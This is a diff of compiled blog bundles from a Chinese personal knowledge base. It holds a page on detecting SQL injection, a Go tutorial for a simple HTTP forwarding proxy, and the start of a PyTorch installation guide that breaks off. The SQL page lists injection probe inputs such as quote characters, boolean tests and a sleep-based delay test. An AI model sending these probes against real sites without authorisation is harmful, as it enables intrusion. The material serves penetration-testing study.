e.components?e.components(d):e.components||d:c(e.components),t.createElement(r.Provider,{value:n},e.children)}},46675:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>l,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>t,toc:()=>o});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","title":"\u6ce8\u5165\u5224\u65ad","description":"[!Tip]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/01.\u6ce8\u5165\u5224\u65ad.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/01.\u6ce8\u5165\u5224\u65ad.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"SQL\u6ce8\u5165","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/"},"next":{"title":"\u6570\u636e\u5e93\u8bc6\u522b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b"}}');var d=s(74848),r=s(28453);const c={},i="\u6ce8\u5165\u5224\u65ad",l={},o=[{value:"\u6ce8\u5165\u5224\u65ad",id:"\u6ce8\u5165\u5224\u65ad-1",level:2}];function h(e){const n={blockquote:"blockquote",br:"br",code:"code",h1:"h1",h2:"h2",header:"header",li:"li",ol:"ol",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(n.header,{children:(0,d.jsx)(n.h1,{id:"\u6ce8\u5165\u5224\u65ad",children:"\u6ce8\u5165\u5224\u65ad"})}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"[!Tip]"}),"\n",(0,d.jsx)(n.p,{children:"\u6316\u6398SQL\u6ce8\u5165\u6f0f\u6d1e\u7684\u7b2c\u4e00\u6b65\uff0c\u5c31\u662f\u53d1\u73b0SQL\u6ce8\u5165\u6f0f\u6d1e\uff0c\u53ea\u6709\u53d1\u73b0\u4e86\u6ce8\u5165\u70b9\u624d\u80fd\u591f\u7ee7\u7eed\u6df1\u5165\u5229\u7528\u3002"}),"\n",(0,d.jsxs)(n.p,{children:["\u53ef\u4ee5\u901a\u8fc7\u591a\u79cd\u65b9\u5f0f\u6765\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u6ce8\u5165\uff0c\u6700\u7b80\u5355\u7684\u5c31\u662f\u76f4\u63a5\u5728\u53c2\u6570\u540e\u52a0\u4e0a",(0,d.jsx)(n.code,{children:"'"}),"\u6216\u8005",(0,d.jsx)(n.code,{children:'"'}),"\u7b49\u7279\u6b8a\u5b57\u7b26\u8ba9web\u5e94\u7528\u7a0b\u5e8f\u629b\u51fa\u5f02\u5e38\uff1b\u4f46\u8fd9\u79cd\u60c5\u51b5\u5df2\u7ecf\u5f88\u5c11\u89c1\u4e86\uff0c\u6bd4\u8f83\u597d\u7684\u65b9\u6cd5\u662f\u901a\u8fc7\u76f2\u6ce8\u6765\u8fdb\u884c\u5224\u65ad\uff1b"]}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u6ce8\u5165\u5224\u65ad-1",children:"\u6ce8\u5165\u5224\u65ad"}),"\n",(0,d.jsx)(n.p,{children:"\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u6ce8\u5165\u4e00\u822c\u901a\u8fc7\u4e24\u79cd\u65b9\u5f0f\u6765\u5224\u65ad\uff1a"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u8f93\u5165\u7279\u6b8a\u5b57\u7b26\u662f\u5426\u629b\u51fa\u76f8\u5173\u7684\u5f02\u5e38"}),"\n",(0,d.jsx)(n.li,{children:"\u8f93\u5165\u4e00\u4e9b\u8bed\u53e5\u8fd0\u884c\u540e\u662f\u5426\u8fbe\u5230\u6211\u4eec\u9884\u671f\u7684\u7ed3\u679c\uff08\u8fd4\u56de\u5185\u5bb9\u3001\u54cd\u5e94\u65f6\u95f4\u7b49\uff09"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(n.table,{children:[(0,d.jsx)(n.thead,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.th,{children:"\u7c7b\u578b"}),(0,d.jsx)(n.th,{children:"\u8bed\u53e5\u548c\u7ed3\u679c"})]})}),(0,d.jsxs)(n.tbody,{children:[(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:"\u7279\u6b8a\u5b57\u7b26"}),(0,d.jsxs)(n.td,{children:["id=",(0,d.jsx)(n.code,{children:"'"})," ==> \u629b\u51fa\u5f02\u5e38"]})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:"\u903b\u8f91\u7b97\u6570\u6d4b\u8bd5"}),(0,d.jsxs)(n.td,{children:["id=",(0,d.jsx)(n.code,{children:"' and 1 = 1 --"})," ==> True",(0,d.jsx)(n.br,{}),"id=",(0,d.jsx)(n.code,{children:"' and 2 = 1 --"})," ==> False",(0,d.jsx)(n.br,{}),"id=",(0,d.jsx)(n.code,{children:"2-1"})," ==> \u662f\u5426\u8fd4\u56de",(0,d.jsx)(n.code,{children:"id=1"}),"\u76f8\u5173\u7684\u5185\u5bb9 ",(0,d.jsx)(n.br,{}),"id=",(0,d.jsx)(n.code,{children:"1/1"})," ==> True",(0,d.jsx)(n.br,{}),"id=",(0,d.jsx)(n.code,{children:"1/0"})," ==> False\u6216\u8005\u5f02\u5e38"]})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:"\u8fd4\u56de\u5ef6\u65f6"}),(0,d.jsxs)(n.td,{children:["id=",(0,d.jsx)(n.code,{children:"' and sleep(3)"})," ==> \u5ef6\u65f63\u79d2\u751a\u81f3\u66f4\u4e45\uff0c\u9700\u8981\u6839\u636e\u7279\u5b9a\u7684\u6570\u636e\u5e93\u51fd\u6570\u6765\u5224\u65ad"]})]})]})]})]})}function a(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,d.jsx)(n,{...e,children:(0,d.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/74b8adbe.397340a8.js b/assets/js/74b8adbe.397340a8.js new file mode 100644 index 0000000..c2ffb9e --- /dev/null +++ b/assets/js/74b8adbe.397340a8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7332],{648:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>l,contentTitle:()=>c,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>a});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406","title":"go-proxy-http","description":"[!Note]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/02.GoLang-\u7b80\u6613http\u4ee3\u7406.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/02.GoLang-\u7b80\u6613http\u4ee3\u7406.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"docker-daemon-api-rce","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce"},"next":{"title":"\u4e0b\u8f7d\u5b89\u88c5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5"}}');var o=t(74848),s=t(28453);const i={},c="go-proxy-http",l={},a=[{value:"\u77e5\u8bc6\u70b9",id:"\u77e5\u8bc6\u70b9",level:2},{value:"\u76d1\u542c\u7aef\u53e3",id:"\u76d1\u542c\u7aef\u53e3",level:3},{value:"Sscanf",id:"sscanf",level:3},{value:"net.Dial",id:"netdial",level:3},{value:"\u5b8c\u6574\u4ee3\u7801",id:"\u5b8c\u6574\u4ee3\u7801",level:2},{value:"\u8fd0\u884c\u5b9e\u4f8b",id:"\u8fd0\u884c\u5b9e\u4f8b",level:2}];function d(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",p:"p",pre:"pre",...(0,s.R)(),...n.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(e.header,{children:(0,o.jsx)(e.h1,{id:"go-proxy-http",children:"go-proxy-http"})}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"[!Note]"}),"\n",(0,o.jsxs)(e.p,{children:["\u9879\u76ee\uff1a",(0,o.jsx)(e.a,{href:"https://github.com/wjlin0/go-proxy-http",children:"go-proxy-http"})]}),"\n"]}),"\n",(0,o.jsx)(e.h2,{id:"\u77e5\u8bc6\u70b9",children:"\u77e5\u8bc6\u70b9"}),"\n",(0,o.jsx)(e.h3,{id:"\u76d1\u542c\u7aef\u53e3",children:"\u76d1\u542c\u7aef\u53e3"}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u76d1\u542ctcp\u7aef\u53e3"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:'con, err := net.Listen("tcp", fmt.Sprintf(":%v", port))\nif err != nil {\n log.Panic(err)\n}\n'})}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u63a5\u6536\u56de\u7b54"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:"client, err := con.Accept()\nif err != nil {\n\t\t\tcontinue\n}\n"})}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u8bfb\u5230\u63a5\u6536\u7684\u6570\u636e\uff0c\u4f20\u5165b byte\u6570\u7ec4"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:"var b = make([]byte, max)\n\t_, err := client.Read(b[:])\n\n\tif err != nil {\n\t\treturn\n}\n"})}),"\n",(0,o.jsx)(e.h3,{id:"sscanf",children:"Sscanf"}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u4ee5\u7a7a\u683c\u4e3a\u5206\u5272\u8bfb\u53d6\u6570\u636e"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:"fmt.Sscanf(string(b[:bytes.IndexByte(b[:], '\\n')]), \"%v %v %v\", &method, &proxyUrl, &httpProtocolVersion)\n"})}),"\n",(0,o.jsx)(e.h3,{id:"netdial",children:"net.Dial"}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u5efa\u7acbtcp\u8fde\u63a5"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{children:'server, err := net.Dial("tcp", serverAddress)\n'})}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u5199\u5165\u62a5\u6587"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:"server.Write(b[:])\n"})}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"\u5c06client \u5199\u5165 server"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:"go io.Copy(server, client)\n\n"})}),"\n",(0,o.jsx)(e.h2,{id:"\u5b8c\u6574\u4ee3\u7801",children:"\u5b8c\u6574\u4ee3\u7801"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"bytes"\n\t"flag"\n\t"fmt"\n\t"io"\n\t"log"\n\t"net"\n\t"net/url"\n\t"strings"\n)\n\nvar (\n\tport int\n\tmax int\n)\n\nfunc Banner() {\n\n\tfmt.Println(`\n __.__ .__ _______ \n__ _ __ |__| | |__| ____ \\ _ \\ \n\\ \\/ \\/ / | | | | |/ \\/ /_\\ \\ \n \\ / | | |_| | | \\ \\_/ \\\n \\/\\_/\\__| |____/__|___| /\\_____ /\n \\______| \\/ \\/ \n go-proxy-http `)\n}\nfunc Init() {\n\tflag.IntVar(&port, "port", 1024, "\u7aef\u53e3")\n\tflag.IntVar(&max, "max", 1024, "\u62a5\u6587\u5927\u5c0f")\n}\nfunc main() {\n\tInit()\n\tBanner()\n\tflag.Parse()\n\tcheckArgs()\n\tlog.Printf("\u4ee3\u7406\u7aef\u53e3: %v \u6700\u5927\u62a5\u6587\u5927\u5c0f: %v", port, max)\n\tcon, err := net.Listen("tcp", fmt.Sprintf(":%v", port))\n\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\tfor {\n\t\tclient, err := con.Accept()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tgo handleConnection(client)\n\t}\n}\n\nfunc checkArgs() {\n\t//flag.Usage()\n\tif max < 1024 {\n\t\tlog.Panic("\u62a5\u6587\u5927\u5c0f\u6700\u597d\u4e0d\u5c0f\u4e8e1024\u4e2a\u5b57\u8282")\n\t}\n}\n\nfunc handleConnection(client net.Conn) {\n\tvar b = make([]byte, max)\n\t_, err := client.Read(b[:])\n\n\tif err != nil {\n\t\treturn\n\t}\n\tvar method, proxyUrl, httpProtocolVersion, serverAddress string\n\tfmt.Sscanf(string(b[:bytes.IndexByte(b[:], \'\\n\')]), "%v %v %v", &method, &proxyUrl, &httpProtocolVersion)\n\turlParse, err := url.Parse(proxyUrl)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif method == "CONNECT" {\n\t\tserverAddress = urlParse.Scheme + fmt.Sprintf(":%v", urlParse.Opaque)\n\n\t} else {\n\t\tif strings.Index(urlParse.Host, ":") == -1 { //host\u4e0d\u5e26\u7aef\u53e3\uff0c \u9ed8\u8ba480\n\t\t\tserverAddress = urlParse.Host + ":80"\n\t\t} else {\n\t\t\tserverAddress = urlParse.Host\n\t\t}\n\t}\n\tserver, err := net.Dial("tcp", serverAddress)\n\tif err != nil {\n\t\treturn\n\t}\n\tif method == "CONNECT" {\n\t\t_, err := client.Write([]byte("HTTP/1.1 200 Connection established\\r\\n\\r\\n"))\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tserver.Write(b[:])\n\t}\n\tgo io.Copy(server, client)\n\tgo io.Copy(client, server)\n\tfmt.Printf("%v -> %v\\n", client.RemoteAddr(), server.RemoteAddr())\n}\n\n'})}),"\n",(0,o.jsx)(e.h2,{id:"\u8fd0\u884c\u5b9e\u4f8b",children:"\u8fd0\u884c\u5b9e\u4f8b"}),"\n",(0,o.jsx)(e.p,{children:(0,o.jsx)(e.img,{alt:"image-20221229005710852",src:t(84231).A+"",width:"1052",height:"677"})})]})}function h(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,o.jsx)(e,{...n,children:(0,o.jsx)(d,{...n})}):d(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>c});var r=t(96540);const o={},s=r.createContext(o);function i(n){const e=r.useContext(s);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(o):n.components||o:i(n.components),r.createElement(s.Provider,{value:e},n.children)}},84231:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/image-20221229005710852-7f56d31411082330107fbad7f53cfbd8.png"}}]); \ No newline at end of file diff --git a/assets/js/76f738db.fedf6609.js b/assets/js/76f738db.fedf6609.js new file mode 100644 index 0000000..a762241 --- /dev/null +++ b/assets/js/76f738db.fedf6609.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[674],{3835:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>r,contentTitle:()=>a,default:()=>o,frontMatter:()=>l,metadata:()=>c,toc:()=>h});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","title":"1.2 PyTorch\u7684\u5b89\u88c5.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"1.1 PyTorch\u7b80\u4ecb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb"},"next":{"title":"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90"}}');var i=s(74848),d=s(28453);const l={},a="1.2 PyTorch\u7684\u5b89\u88c5.md",r={},h=[{value:"1.2.1 Anaconda\u7684\u5b89\u88c5",id:"121-anaconda\u7684\u5b89\u88c5",level:2},{value:"Step 1\uff1a\u5b89\u88c5Anaconda/miniconda",id:"step-1\u5b89\u88c5anacondaminiconda",level:3},{value:"Step 2\uff1a\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",id:"step-2\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",level:3},{value:"Step 3\uff1a\u521b\u5efa\u865a\u62df\u73af\u5883",id:"step-3\u521b\u5efa\u865a\u62df\u73af\u5883",level:3},{value:"\u67e5\u770b\u73b0\u5b58\u865a\u62df\u73af\u5883",id:"\u67e5\u770b\u73b0\u5b58\u865a\u62df\u73af\u5883",level:4},{value:"\u521b\u5efa\u865a\u62df\u73af\u5883",id:"\u521b\u5efa\u865a\u62df\u73af\u5883",level:4},{value:"\u5b89\u88c5\u5305",id:"\u5b89\u88c5\u5305",level:4},{value:"\u5378\u8f7d\u5305",id:"\u5378\u8f7d\u5305",level:4},{value:"\u663e\u793a\u6240\u6709\u5b89\u88c5\u7684\u5305",id:"\u663e\u793a\u6240\u6709\u5b89\u88c5\u7684\u5305",level:4},{value:"\u5220\u9664\u865a\u62df\u73af\u5883\u547d\u4ee4",id:"\u5220\u9664\u865a\u62df\u73af\u5883\u547d\u4ee4",level:4},{value:"\u6fc0\u6d3b\u73af\u5883\u547d\u4ee4",id:"\u6fc0\u6d3b\u73af\u5883\u547d\u4ee4",level:4},{value:"\u9000\u51fa\u5f53\u524d\u73af\u5883",id:"\u9000\u51fa\u5f53\u524d\u73af\u5883",level:4},{value:"Step 4\uff1a\u6362\u6e90",id:"step-4\u6362\u6e90",level:3},{value:"pip\u6362\u6e90",id:"pip\u6362\u6e90",level:4},{value:"Linux\uff1a",id:"linux",level:5},{value:"Windows\uff1a",id:"windows",level:5},{value:"conda\u6362\u6e90\uff08\u6e05\u534e\u6e90\uff09\u5b98\u65b9\u6362\u6e90\u5e2e\u52a9",id:"conda\u6362\u6e90\u6e05\u534e\u6e90\u5b98\u65b9\u6362\u6e90\u5e2e\u52a9",level:4},{value:"Windows\u7cfb\u7edf\uff1a",id:"windows\u7cfb\u7edf",level:5},{value:"Linux\u7cfb\u7edf\uff1a",id:"linux\u7cfb\u7edf",level:5},{value:"1.2.2 \u67e5\u770b\u663e\u5361",id:"122-\u67e5\u770b\u663e\u5361",level:2},{value:"windows\uff1a",id:"windows-1",level:3},{value:"linux\uff1a",id:"linux-1",level:3},{value:"1.2.3 \u5b89\u88c5PyTorch",id:"123-\u5b89\u88c5pytorch",level:2},{value:"Step 1\uff1a\u767b\u5f55PyTorch\u5b98\u7f51",id:"step-1\u767b\u5f55pytorch\u5b98\u7f51",level:3},{value:"Step 2\uff1aInstall",id:"step-2install",level:3},{value:"Step 3\uff1a\u9009\u62e9\u547d\u4ee4",id:"step-3\u9009\u62e9\u547d\u4ee4",level:3},{value:"Step 4\uff1a\u5728\u7ebf\u4e0b\u8f7d",id:"step-4\u5728\u7ebf\u4e0b\u8f7d",level:3},{value:"Step 5\uff1a\u79bb\u7ebf\u4e0b\u8f7d",id:"step-5\u79bb\u7ebf\u4e0b\u8f7d",level:3},{value:"Windows\uff1a",id:"windows-2",level:4},{value:"Step 6\uff1a\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",id:"step-6\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",level:4},{value:"1.2.4 PyCharm\u5b89\u88c5\uff08\u53ef\u9009\u64cd\u4f5c\uff09",id:"124-pycharm\u5b89\u88c5\u53ef\u9009\u64cd\u4f5c",level:2},{value:"Step 1\uff1a\u8fdb\u5165\u5b98\u7f51\u4e0b\u8f7d",id:"step-1\u8fdb\u5165\u5b98\u7f51\u4e0b\u8f7d",level:3},{value:"Step 2\uff1a\u914d\u7f6e\u73af\u5883",id:"step-2\u914d\u7f6e\u73af\u5883",level:3}];function t(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,d.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"12-pytorch\u7684\u5b89\u88c5md",children:"1.2 PyTorch\u7684\u5b89\u88c5.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(e.h1,{id:"12-pytorch\u7684\u5b89\u88c5",children:"1.2 PyTorch\u7684\u5b89\u88c5"}),"\n",(0,i.jsxs)(e.p,{children:["PyTorch\u7684\u5b89\u88c5\u662f\u6211\u4eec\u5b66\u4e60PyTorch\u7684\u7b2c\u4e00\u6b65\uff0c\u4e5f\u662f\u7ecf\u5e38\u51fa\u9519\u7684\u4e00\u6b65\u3002\u5728\u5b89\u88c5PyTorch\u65f6\uff0c\u6211\u4eec\u901a\u5e38\u4f7f\u7528\u7684\u662f",(0,i.jsx)(e.strong,{children:"Anaconda/miniconda+Pytorch"}),"+ IDE \u7684\u6d41\u7a0b\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"Anaconda/miniconda\u7684\u5b89\u88c5\u53ca\u5176\u5e38\u89c1\u547d\u4ee4"}),"\n",(0,i.jsx)(e.li,{children:"PyTorch\u7684\u5b89\u88c5\u6d41\u7a0b"}),"\n",(0,i.jsx)(e.li,{children:"\u5982\u4f55\u9009\u62e9\u4e00\u4e2a\u9002\u5408\u81ea\u5df1\u7684PyTorch\u7248\u672c"}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"121-anaconda\u7684\u5b89\u88c5",children:"1.2.1 Anaconda\u7684\u5b89\u88c5"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u6570\u636e\u79d1\u5b66\u548c\u6700\u8fd1\u5f88\u706b\u7684\u6df1\u5ea6\u5b66\u4e60\u4e2d\uff0c\u8981\u7528\u5230\u5927\u91cf\u6210\u719f\u7684package\u3002\u6211\u4eec\u4e00\u4e2a\u4e2a\u5b89\u88c5 package \u5f88\u9ebb\u70e6\uff0c\u800c\u4e14\u5f88\u5bb9\u6613\u51fa\u73b0\u5305\u4e4b\u95f4\u7684\u4f9d\u8d56\u4e0d\u9002\u914d\u7684\u95ee\u9898\u3002\u800c Anaconda/miniconda\u7684\u51fa\u73b0\u5f88\u597d\u7684\u89e3\u51b3\u4e86\u6211\u4eec\u7684\u95ee\u9898\uff0c\u5b83\u96c6\u6210\u4e86\u5e38\u7528\u4e8e\u79d1\u5b66\u5206\u6790\uff08\u673a\u5668\u5b66\u4e60\uff0c \u6df1\u5ea6\u5b66\u4e60\uff09\u7684\u5927\u91cfpackage\uff0c\u5e76\u4e14\u501f\u52a9\u4e8econda\u6211\u4eec\u53ef\u4ee5\u5b9e\u73b0\u5bf9\u865a\u62dfPython\u73af\u5883\u7684\u7ba1\u7406\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"step-1\u5b89\u88c5anacondaminiconda",children:"Step 1\uff1a\u5b89\u88c5Anaconda/miniconda"}),"\n",(0,i.jsxs)(e.p,{children:["\u767b\u9646",(0,i.jsx)(e.a,{href:"https://www.anaconda.com/products/individual",children:"Anaconda | Individual 